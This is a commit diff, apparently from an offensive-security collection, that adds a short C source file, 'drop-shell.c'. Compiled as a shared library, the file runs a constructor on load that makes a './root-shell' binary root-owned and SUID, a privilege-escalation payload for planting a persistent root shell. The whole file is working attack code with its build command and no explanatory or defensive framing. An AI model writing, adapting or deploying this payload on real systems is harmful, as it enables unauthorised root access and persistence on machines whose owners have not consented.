Add example c root-shells

Miscellaneous/source-code/c-linux/drop-shell.c

@@ -0,0 +1,16 @@
+// gcc -fPIC -shared -o drop-shell drop-shell.c
+#include <stdio.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
+__attribute__((__constructor__))
+
+void dropshell(void) {
+    // Set root user to be owner, and SUID permission
+    chown("./root-shell", 0, 0);
+    chmod("./root-shell", 04755);
+
+    // Feedback
+    printf("[+] Done!\n");
+}